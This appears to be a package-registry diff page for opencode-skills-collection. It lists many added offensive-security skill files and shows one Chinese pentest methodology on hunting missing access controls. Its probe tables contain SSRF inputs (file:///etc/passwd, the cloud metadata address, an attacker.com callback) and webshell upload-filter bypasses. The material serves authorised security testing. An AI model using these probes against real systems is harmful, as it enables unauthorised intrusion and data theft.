opencode-skills-collection 4.0.42 → 4.0.44

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (297) hide show
  1. package/bundled-skills/.antigravity-install-manifest.json +49 -1
  2. package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
  3. package/bundled-skills/api-security/SKILL.md +205 -0
  4. package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
  5. package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
  6. package/bundled-skills/apk-reverse/SKILL.md +438 -0
  7. package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
  8. package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
  9. package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
  10. package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
  11. package/bundled-skills/attack-chain/SKILL.md +185 -0
  12. package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
  13. package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
  14. package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
  15. package/bundled-skills/attack-chain/references/phases.md +490 -0
  16. package/bundled-skills/binary-diff/SKILL.md +320 -0
  17. package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
  18. package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
  19. package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
  20. package/bundled-skills/case-review/SKILL.md +167 -0
  21. package/bundled-skills/cloud-k8s/SKILL.md +124 -0
  22. package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
  23. package/bundled-skills/code-audit/SKILL.md +92 -0
  24. package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
  25. package/bundled-skills/database-security/SKILL.md +81 -0
  26. package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
  27. package/bundled-skills/diagram-generator/SKILL.md +199 -0
  28. package/bundled-skills/diagram-generator/references/README.md +3 -0
  29. package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
  30. package/bundled-skills/digital-forensics/SKILL.md +93 -0
  31. package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
  32. package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
  33. package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
  34. package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
  35. package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
  36. package/bundled-skills/docs/sources/sources.md +9 -0
  37. package/bundled-skills/docs/users/aas-core.md +1 -1
  38. package/bundled-skills/docs/users/bundles.md +1 -1
  39. package/bundled-skills/docs/users/claude-code-skills.md +1 -1
  40. package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
  41. package/bundled-skills/docs/users/kiro-integration.md +1 -1
  42. package/bundled-skills/docs/users/usage.md +3 -3
  43. package/bundled-skills/docs/users/visual-guide.md +4 -4
  44. package/bundled-skills/docs-generator/SKILL.md +197 -0
  45. package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
  46. package/bundled-skills/docs-generator/references/templates.md +102 -0
  47. package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
  48. package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
  49. package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
  50. package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
  51. package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
  52. package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
  53. package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
  54. package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
  55. package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
  56. package/bundled-skills/email-security/SKILL.md +81 -0
  57. package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
  58. package/bundled-skills/firmware-pentest/SKILL.md +381 -0
  59. package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
  60. package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
  61. package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
  62. package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
  63. package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
  64. package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
  65. package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
  66. package/bundled-skills/hardware-security/SKILL.md +80 -0
  67. package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
  68. package/bundled-skills/ida-reverse/SKILL.md +401 -0
  69. package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
  70. package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
  71. package/bundled-skills/identity-federation/SKILL.md +81 -0
  72. package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
  73. package/bundled-skills/instructree/SKILL.md +94 -0
  74. package/bundled-skills/js-reverse/SKILL.md +239 -0
  75. package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
  76. package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
  77. package/bundled-skills/js-reverse/references/env-patching.md +6 -0
  78. package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
  79. package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
  80. package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
  81. package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
  82. package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
  83. package/bundled-skills/js-reverse/references/output-contract.md +9 -0
  84. package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
  85. package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
  86. package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
  87. package/bundled-skills/llm-security/SKILL.md +160 -0
  88. package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
  89. package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
  90. package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
  91. package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
  92. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
  93. package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
  94. package/bundled-skills/lore/SKILL.md +104 -298
  95. package/bundled-skills/lore/references/audit-template.md +21 -4
  96. package/bundled-skills/lore/references/compatibility.md +51 -121
  97. package/bundled-skills/lore/references/config.md +22 -23
  98. package/bundled-skills/lore/references/entry-format.md +33 -3
  99. package/bundled-skills/lore/references/history-command.md +98 -2
  100. package/bundled-skills/lore/references/platform-mirrors.md +45 -16
  101. package/bundled-skills/lore/references/stale-new-markers.md +10 -8
  102. package/bundled-skills/lore/references/summary-template.md +8 -1
  103. package/bundled-skills/lore/references/workflows.md +192 -0
  104. package/bundled-skills/lore/scripts/README.md +14 -13
  105. package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
  106. package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
  107. package/bundled-skills/lore/scripts/find_stale.py +68 -16
  108. package/bundled-skills/lore/scripts/history.py +235 -23
  109. package/bundled-skills/lore/scripts/id_hash.py +7 -4
  110. package/bundled-skills/lore/scripts/list_entries.py +82 -13
  111. package/bundled-skills/macos-reverse/SKILL.md +85 -0
  112. package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
  113. package/bundled-skills/malware-analysis/SKILL.md +311 -0
  114. package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
  115. package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
  116. package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
  117. package/bundled-skills/mobile-reverse/SKILL.md +222 -0
  118. package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
  119. package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
  120. package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
  121. package/bundled-skills/muapi-media/SKILL.md +311 -0
  122. package/bundled-skills/ot-ics/SKILL.md +117 -0
  123. package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
  124. package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
  125. package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
  126. package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
  127. package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
  128. package/bundled-skills/pentest-tools/SKILL.md +346 -0
  129. package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
  130. package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
  131. package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
  132. package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
  133. package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
  134. package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
  135. package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
  136. package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
  137. package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
  138. package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
  139. package/bundled-skills/pentest-tools/references/payloads.md +32 -0
  140. package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
  141. package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
  142. package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
  143. package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
  144. package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
  145. package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
  146. package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
  147. package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
  148. package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
  149. package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
  150. package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
  151. package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
  152. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
  153. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
  154. package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
  155. package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
  156. package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
  157. package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
  158. package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
  159. package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
  160. package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
  161. package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
  162. package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
  163. package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
  164. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
  165. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
  166. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
  167. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
  168. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
  169. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
  170. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
  171. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
  172. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
  173. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
  174. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
  175. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
  176. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
  177. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
  178. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
  179. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
  180. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
  181. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
  182. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
  183. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
  184. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
  185. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
  186. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
  187. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
  188. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
  189. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
  190. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
  191. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
  192. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
  193. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
  194. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
  195. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
  196. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
  197. package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
  198. package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
  199. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
  200. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
  201. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
  202. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
  203. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
  204. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
  205. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
  206. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
  207. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
  208. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
  209. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
  210. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
  211. package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
  212. package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
  213. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
  214. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
  215. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
  216. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
  217. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
  218. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
  219. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
  220. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
  221. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
  222. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
  223. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
  224. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
  225. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
  226. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
  227. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
  228. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
  229. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
  230. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
  231. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
  232. package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
  233. package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
  234. package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
  235. package/bundled-skills/poka-yoke/SKILL.md +172 -0
  236. package/bundled-skills/project-state-governor/SKILL.md +1 -1
  237. package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
  238. package/bundled-skills/protocol-reverse/SKILL.md +108 -0
  239. package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
  240. package/bundled-skills/pwn-chain/SKILL.md +209 -0
  241. package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
  242. package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
  243. package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
  244. package/bundled-skills/radare2/SKILL.md +460 -0
  245. package/bundled-skills/radare2/references/cheatsheet.md +129 -0
  246. package/bundled-skills/radio-sdr/SKILL.md +77 -0
  247. package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
  248. package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
  249. package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
  250. package/bundled-skills/reverse-engineering/SKILL.md +213 -0
  251. package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
  252. package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
  253. package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
  254. package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
  255. package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
  256. package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
  257. package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
  258. package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
  259. package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
  260. package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
  261. package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
  262. package/bundled-skills/reverse-engineering/references/languages.md +499 -0
  263. package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
  264. package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
  265. package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
  266. package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
  267. package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
  268. package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
  269. package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
  270. package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
  271. package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
  272. package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
  273. package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
  274. package/bundled-skills/reverse-engineering/references/tools.md +546 -0
  275. package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
  276. package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
  277. package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
  278. package/bundled-skills/supply-chain-security/SKILL.md +180 -0
  279. package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
  280. package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
  281. package/bundled-skills/thick-client/SKILL.md +104 -0
  282. package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
  283. package/bundled-skills/threat-hunting/SKILL.md +94 -0
  284. package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
  285. package/bundled-skills/threat-intelligence/SKILL.md +176 -0
  286. package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
  287. package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
  288. package/bundled-skills/wifi-wireless/SKILL.md +80 -0
  289. package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
  290. package/bundled-skills/windows-ad/SKILL.md +109 -0
  291. package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
  292. package/package.json +1 -1
  293. package/skills_index.json +1281 -3
  294. package/bundled-skills/lore/README.md +0 -386
  295. package/bundled-skills/lore/README.zh-CN.md +0 -386
  296. package/bundled-skills/lore/WORKFLOWS.md +0 -216
  297. package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
@@ -0,0 +1,238 @@
1
+ # 控制缺口(Control Gap)狩猎
2
+
3
+ > 白盒视角:检查"代码里有没有这个控制" → 黑盒视角:探测"这个控制是否真的生效"
4
+ > 这是猎手拿到一个新功能、不知道从哪入手时的 SOP
5
+
6
+ ---
7
+
8
+ ## 1. 思维模型
9
+
10
+ **敏感操作 = 应有控制矩阵 → 黑盒探针 = 测每个控制是否缺失。**
11
+
12
+ ```
13
+ 看到端点 → 归类(数据修改 / 资金 / 文件 / SSRF / 认证 / 权限 / 命令 / 越权 / 信息)
14
+
15
+ 翻表 → 该类型应该有哪 N 个控制
16
+
17
+ 对每个控制 → 设计探针:在不满足该控制的条件下访问,看响应
18
+
19
+ 哪个返回 200 / 业务成功 → 漏洞
20
+ ```
21
+
22
+ 九大类操作 + 探针速查在第 3 章。
23
+
24
+ ---
25
+
26
+ ## 2. 端点分类速查
27
+
28
+ | 端点特征 | 类型 |
29
+ |---------|------|
30
+ | `POST/PUT/DELETE` + 资源 ID | 数据修改 |
31
+ | `GET` + 单个 ID(`/order/{id}`) | 数据访问 |
32
+ | 含 `export`、`download`、`batch` | 批量 |
33
+ | 含 `role`、`permission`、`grant` | 权限变更 |
34
+ | 含 `transfer`、`pay`、`refund`、`balance` | 资金 |
35
+ | 接受 URL 参数(`?url=`、`?fetch=`、`?import=`、回调) | SSRF |
36
+ | `multipart/form-data` 上传 | 文件上传 |
37
+ | 含 `file`、`path`、`filename`、`download` | 文件读 / 删 |
38
+ | 含 `cmd`、`exec`、`ping`、`nslookup`、`shell` | 命令执行 |
39
+ | `/login`、`/reset`、`/verify`、`/sms` | 认证 |
40
+
41
+ ---
42
+
43
+ ## 3. 9 类操作 × 探针表
44
+
45
+ ### 3.1 数据修改 (CREATE / UPDATE / DELETE)
46
+
47
+ | 应有控制 | 黑盒探针 | 缺失则 |
48
+ |---------|---------|-------|
49
+ | 鉴权 | 删 Authorization / Cookie,发请求 | 未授权写 → P0 |
50
+ | 资源所有权 | 用账号 A 改 B 的资源 ID | IDOR / 越权 → P1 |
51
+ | 输入验证 | 改类型(int → "abc")、长度溢出 | 报错 / 崩溃 → 信息泄露 |
52
+ | 输入完整性 | 加额外字段 `is_admin=true` | Mass Assignment → P0 |
53
+ | 操作确认 | 直接 DELETE 不带二次确认 token | 误删 / CSRF |
54
+
55
+ ### 3.2 数据访问(READ)
56
+
57
+ | 探针 | 缺失则 |
58
+ |------|-------|
59
+ | 改 ID 序号(自增)/ 改 UUID(猜不动就枚举)/ 改 hash | IDOR |
60
+ | 删除认证后访问 | 未授权数据泄露 |
61
+ | `?ids=1,2,3,...,10000` 批量 | 大面积泄露 |
62
+ | 改字段筛选(`?fields=*` 或 GraphQL) | 字段级泄露 |
63
+
64
+ ### 3.3 批量 / 导出
65
+
66
+ | 探针 | 缺失则 |
67
+ |------|-------|
68
+ | 改导出范围(`startDate=2010-01-01`) | 全量泄露 |
69
+ | 删除范围限制 / 用户筛选 | 跨租户泄露 |
70
+ | 高频调用 / 大并发 | DoS / 资源耗尽 |
71
+ | 改导出对象 ID(导出他人订单) | 越权批量 |
72
+
73
+ ### 3.4 权限变更
74
+
75
+ | 探针 | 缺失则 |
76
+ |------|-------|
77
+ | 普通用户调用 `/role/grant` | 鉴权缺失提权 (P0) |
78
+ | 自己授予自己 admin | 自提权 (P0) |
79
+ | 普通管理员授予 super_admin | 边界缺失 (P0) |
80
+ | 改请求体 `role: admin` 等隐藏字段(IDOR + Mass Assignment) | 关键提权 (P0) |
81
+
82
+ ### 3.5 资金
83
+
84
+ | 探针 | 缺失则 |
85
+ |------|-------|
86
+ | 金额改 0 / 0.01 / 负数 / 1e-10 | 金额校验缺失 (P0) |
87
+ | 改商品 ID 但保留低价 | 服务端不重算 → 任意支付 |
88
+ | 重放支付回调(同一签名两次) | 幂等缺失 → 双花 |
89
+ | 并发 50 次同请求 | 竞态 → 透支 / 双发卡券 |
90
+ | 把折扣券叠加 / 退货后回退优惠券 | 业务逻辑漏洞 |
91
+
92
+ 参考:WooYun-2015-0108817(电商价格篡改)。
93
+
94
+ ### 3.6 外部 HTTP(SSRF)
95
+
96
+ | 探针 | 缺失则 |
97
+ |------|-------|
98
+ | `?url=http://127.0.0.1` / `[::1]` / `2130706433` | 内网封禁缺失 |
99
+ | `?url=file:///etc/passwd` | 协议白名单缺失 |
100
+ | `?url=http://169.254.169.254/...` | 云元数据可达 |
101
+ | `?url=http://attacker.com` 看是否回连 | DNSLog 验证基本 SSRF |
102
+ | `?url=http://attacker.com` 触发 302 → 内网 | 重定向跟随未限制 |
103
+ | DNS Rebinding(`rbndr.us`) | 二次解析逃逸白名单 |
104
+
105
+ ### 3.7 文件上传
106
+
107
+ | 探针 | 缺失则 |
108
+ |------|-------|
109
+ | 改扩展名 `.php` `.jsp` `.asp` `.phtml` `.jspx` | 黑名单缺失 |
110
+ | `.Php` / `.pHp%20` / `.php.` | 大小写 / 空格绕过 |
111
+ | `shell.php%00.jpg` | 截断绕过(旧版) |
112
+ | `Content-Type: image/jpeg` 但内容是脚本 | MIME 仅靠 Header |
113
+ | 文件名加 `../` | 路径校验缺失 |
114
+ | 上传后访问目录列表 | 命名规则猜测 |
115
+ | 内容含图片头 + 脚本(图片马) | 解析漏洞配合 |
116
+
117
